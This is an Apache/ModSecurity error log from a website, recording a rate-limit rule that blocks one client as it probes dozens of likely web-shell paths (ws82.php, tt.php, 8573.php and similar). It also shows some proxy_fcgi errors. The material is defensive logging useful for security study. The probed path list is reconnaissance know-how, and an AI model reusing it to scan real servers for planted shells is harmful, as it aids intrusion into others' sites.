[Wed Apr 15 19:33:15.006426 2026] [:error] [pid 31053:tid 31069] [client 51.12.94.16:14358] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad93excEkLCmvF0fjDeytwAAAI0"]
[Wed Apr 15 19:33:15.690451 2026] [:error] [pid 30956:tid 30969] [client 51.12.94.16:6894] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad93e0BGUpjaWntNYq1kPAAAAAk"]
[Wed Apr 15 19:33:16.266526 2026] [:error] [pid 30958:tid 31033] [client 51.12.94.16:9766] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad93fMeG3wSKTO7NWFGRPgAAANE"]
[Wed Apr 15 19:33:17.248904 2026] [:error] [pid 30958:tid 31024] [client 51.12.94.16:13097] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fs.php"] [unique_id "ad93fceG3wSKTO7NWFGRRAAAAMg"]
[Wed Apr 15 19:33:17.911065 2026] [:error] [pid 30958:tid 31029] [client 51.12.94.16:11618] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad93fceG3wSKTO7NWFGRSgAAAM0"]
[Wed Apr 15 19:33:18.489349 2026] [:error] [pid 31053:tid 31056] [client 51.12.94.16:10205] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad93fhcEkLCmvF0fjDeywAAAAIA"]
[Wed Apr 15 19:33:19.120531 2026] [:error] [pid 30957:tid 30989] [client 51.12.94.16:18621] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad93f35gwVEVXHfVSip0PAAAAEA"]
[Wed Apr 15 19:33:19.949353 2026] [:error] [pid 30958:tid 31026] [client 51.12.94.16:7621] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws82.php"] [unique_id "ad93f8eG3wSKTO7NWFGRUAAAAMo"]
[Wed Apr 15 19:33:20.626210 2026] [:error] [pid 31053:tid 31060] [client 51.12.94.16:10983] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad93gBcEkLCmvF0fjDeyxAAAAIQ"]
[Wed Apr 15 19:33:21.176489 2026] [:error] [pid 30958:tid 31037] [client 51.12.94.16:15234] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad93gceG3wSKTO7NWFGRVgAAANU"]
[Wed Apr 15 19:33:21.773866 2026] [:error] [pid 31053:tid 31076] [client 51.12.94.16:9289] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad93gRcEkLCmvF0fjDeyyAAAAJQ"]
[Wed Apr 15 19:33:22.704283 2026] [:error] [pid 30957:tid 31002] [client 51.12.94.16:15235] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "ad93gn5gwVEVXHfVSip0QAAAAE0"]
[Wed Apr 15 19:33:23.354734 2026] [:error] [pid 30958:tid 31024] [client 51.12.94.16:7884] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad93g8eG3wSKTO7NWFGRWgAAAMg"]
[Wed Apr 15 19:33:23.993838 2026] [:error] [pid 30956:tid 30978] [client 51.12.94.16:19626] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad93g0BGUpjaWntNYq1kSQAAABI"]
[Wed Apr 15 19:33:24.908044 2026] [:error] [pid 31053:tid 31058] [client 51.12.94.16:1024] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad93hBcEkLCmvF0fjDeyyQAAAII"]
[Wed Apr 15 19:33:25.546556 2026] [:error] [pid 30956:tid 30965] [client 51.12.94.16:6533] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws48.php"] [unique_id "ad93hUBGUpjaWntNYq1kTgAAAAU"]
[Wed Apr 15 19:33:26.405356 2026] [:error] [pid 30957:tid 30999] [client 51.12.94.16:18275] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad93hn5gwVEVXHfVSip0SAAAAEo"]
[Wed Apr 15 19:33:27.211619 2026] [:error] [pid 37370:tid 37387] [client 51.12.94.16:1057] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad93h3g-gnM2Ga0cGAASCgAAAQ8"]
[Wed Apr 15 19:33:27.818700 2026] [:error] [pid 31053:tid 31077] [client 51.12.94.16:6530] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "ad93hxcEkLCmvF0fjDeyzAAAAJU"]
[Wed Apr 15 19:33:28.664080 2026] [proxy_fcgi:error] [pid 30957:tid 31013] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:28.958248 2026] [proxy_fcgi:error] [pid 30957:tid 31006] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:29.252425 2026] [proxy_fcgi:error] [pid 30957:tid 31010] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:29.546268 2026] [proxy_fcgi:error] [pid 30957:tid 31003] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:29.840303 2026] [proxy_fcgi:error] [pid 30957:tid 30991] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:30.442450 2026] [proxy_fcgi:error] [pid 30957:tid 30996] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:30.735868 2026] [proxy_fcgi:error] [pid 30957:tid 31000] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:31.041090 2026] [proxy_fcgi:error] [pid 30957:tid 31007] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:31.359348 2026] [proxy_fcgi:error] [pid 30957:tid 30998] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:31.654060 2026] [proxy_fcgi:error] [pid 30957:tid 31004] [client 51.12.94.16:11326] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 19:33:31.945804 2026] [:error] [pid 30957:tid 31013] [client 51.12.94.16:11326] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad93i35gwVEVXHfVSip0XAAAAFg"]
[Wed Apr 15 19:33:32.532907 2026] [:error] [pid 37370:tid 37383] [client 51.12.94.16:11971] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad93jHg-gnM2Ga0cGAASGwAAAQs"]
[Wed Apr 15 19:33:33.134386 2026] [:error] [pid 37370:tid 37384] [client 51.12.94.16:10997] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad93jXg-gnM2Ga0cGAASHAAAAQw"]
[Wed Apr 15 19:33:33.854116 2026] [:error] [pid 30958:tid 31040] [client 51.12.94.16:10245] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/domains.php"] [unique_id "ad93jceG3wSKTO7NWFGRXwAAANg"]
[Wed Apr 15 19:33:34.892952 2026] [:error] [pid 31053:tid 31075] [client 51.12.94.16:13940] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad93jhcEkLCmvF0fjDey1QAAAJM"]
[Wed Apr 15 19:33:36.016933 2026] [:error] [pid 31053:tid 31065] [client 51.12.94.16:11432] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad93kBcEkLCmvF0fjDey1wAAAIk"]
[Wed Apr 15 19:33:36.640436 2026] [:error] [pid 30956:tid 30964] [client 51.12.94.16:11565] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad93kEBGUpjaWntNYq1kUAAAAAQ"]
[Wed Apr 15 19:33:37.430388 2026] [:error] [pid 30957:tid 31000] [client 51.12.94.16:11988] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/tt.php"] [unique_id "ad93kX5gwVEVXHfVSip0ZAAAAEs"]
[Wed Apr 15 19:33:38.079745 2026] [:error] [pid 30957:tid 31013] [client 51.12.94.16:16788] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad93kn5gwVEVXHfVSip0aQAAAFg"]
[Wed Apr 15 19:33:38.679535 2026] [:error] [pid 37370:tid 37396] [client 51.12.94.16:19610] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad93kng-gnM2Ga0cGAASIgAAARg"]
[Wed Apr 15 19:33:39.362880 2026] [:error] [pid 30958:tid 31031] [client 51.12.94.16:16941] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad93k8eG3wSKTO7NWFGRZQAAAM8"]
[Wed Apr 15 19:33:40.279323 2026] [:error] [pid 30957:tid 30994] [client 51.12.94.16:1025] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abc.php"] [unique_id "ad93lH5gwVEVXHfVSip0awAAAEU"]
[Wed Apr 15 19:33:41.516694 2026] [:error] [pid 37370:tid 37377] [client 51.12.94.16:1826] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad93lXg-gnM2Ga0cGAASKQAAAQU"]
[Wed Apr 15 19:33:42.372683 2026] [:error] [pid 37370:tid 37376] [client 51.12.94.16:16806] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad93lng-gnM2Ga0cGAASLgAAAQQ"]
[Wed Apr 15 19:33:43.069337 2026] [:error] [pid 30958:tid 31038] [client 51.12.94.16:9070] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad93l8eG3wSKTO7NWFGRaAAAANY"]
[Wed Apr 15 19:33:43.623071 2026] [:error] [pid 30958:tid 31023] [client 51.12.94.16:12471] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/yw5bi63u.php"] [unique_id "ad93l8eG3wSKTO7NWFGRawAAAMc"]
[Wed Apr 15 19:33:44.234706 2026] [:error] [pid 30958:tid 31037] [client 51.12.94.16:7684] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad93mMeG3wSKTO7NWFGRbwAAANU"]
[Wed Apr 15 19:33:45.122341 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:19154] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad93mXg-gnM2Ga0cGAASNAAAAQM"]
[Wed Apr 15 19:33:45.693743 2026] [:error] [pid 30958:tid 31028] [client 51.12.94.16:16897] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad93mceG3wSKTO7NWFGRcwAAAMw"]
[Wed Apr 15 19:33:46.436852 2026] [:error] [pid 31053:tid 31063] [client 51.12.94.16:1844] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/222.php"] [unique_id "ad93mhcEkLCmvF0fjDey4AAAAIc"]
[Wed Apr 15 19:33:47.100768 2026] [:error] [pid 30958:tid 31027] [client 51.12.94.16:10505] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad93m8eG3wSKTO7NWFGRdQAAAMs"]
[Wed Apr 15 19:33:47.856091 2026] [:error] [pid 30958:tid 31032] [client 51.12.94.16:9067] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad93m8eG3wSKTO7NWFGRdgAAANA"]
[Wed Apr 15 19:33:48.491188 2026] [:error] [pid 30958:tid 31037] [client 51.12.94.16:16936] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad93nMeG3wSKTO7NWFGRdwAAANU"]
[Wed Apr 15 19:33:49.224300 2026] [:error] [pid 30958:tid 31030] [client 51.12.94.16:11974] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws57.php"] [unique_id "ad93nceG3wSKTO7NWFGReQAAAM4"]
[Wed Apr 15 19:33:50.137583 2026] [:error] [pid 30958:tid 31038] [client 51.12.94.16:19605] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad93nseG3wSKTO7NWFGRfQAAANY"]
[Wed Apr 15 19:33:51.141937 2026] [:error] [pid 30958:tid 31037] [client 51.12.94.16:16813] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad93n8eG3wSKTO7NWFGRfwAAANU"]
[Wed Apr 15 19:33:52.140118 2026] [:error] [pid 30956:tid 30969] [client 51.12.94.16:13463] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad93oEBGUpjaWntNYq1kWwAAAAk"]
[Wed Apr 15 19:33:53.196748 2026] [:error] [pid 30958:tid 31036] [client 51.12.94.16:7690] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/8573.php"] [unique_id "ad93oceG3wSKTO7NWFGRiAAAANQ"]
[Wed Apr 15 19:33:54.414808 2026] [:error] [pid 37370:tid 37386] [client 51.12.94.16:10295] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad93ong-gnM2Ga0cGAASTAAAAQ4"]
[Wed Apr 15 19:33:55.285307 2026] [:error] [pid 37370:tid 37375] [client 51.12.94.16:18476] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad93o3g-gnM2Ga0cGAASUAAAAQM"]
[Wed Apr 15 19:33:56.183168 2026] [:error] [pid 31053:tid 31060] [client 51.12.94.16:11398] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad93pBcEkLCmvF0fjDey5wAAAIQ"]
[Wed Apr 15 19:33:56.810703 2026] [:error] [pid 31053:tid 31056] [client 51.12.94.16:1817] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws66.php"] [unique_id "ad93pBcEkLCmvF0fjDey6gAAAIA"]
[Wed Apr 15 19:33:58.026186 2026] [:error] [pid 30957:tid 31002] [client 51.12.94.16:11886] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad93pn5gwVEVXHfVSip0dQAAAE0"]
[Wed Apr 15 19:33:58.824819 2026] [:error] [pid 30956:tid 30980] [client 51.12.94.16:6355] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad93pkBGUpjaWntNYq1kXQAAABQ"]
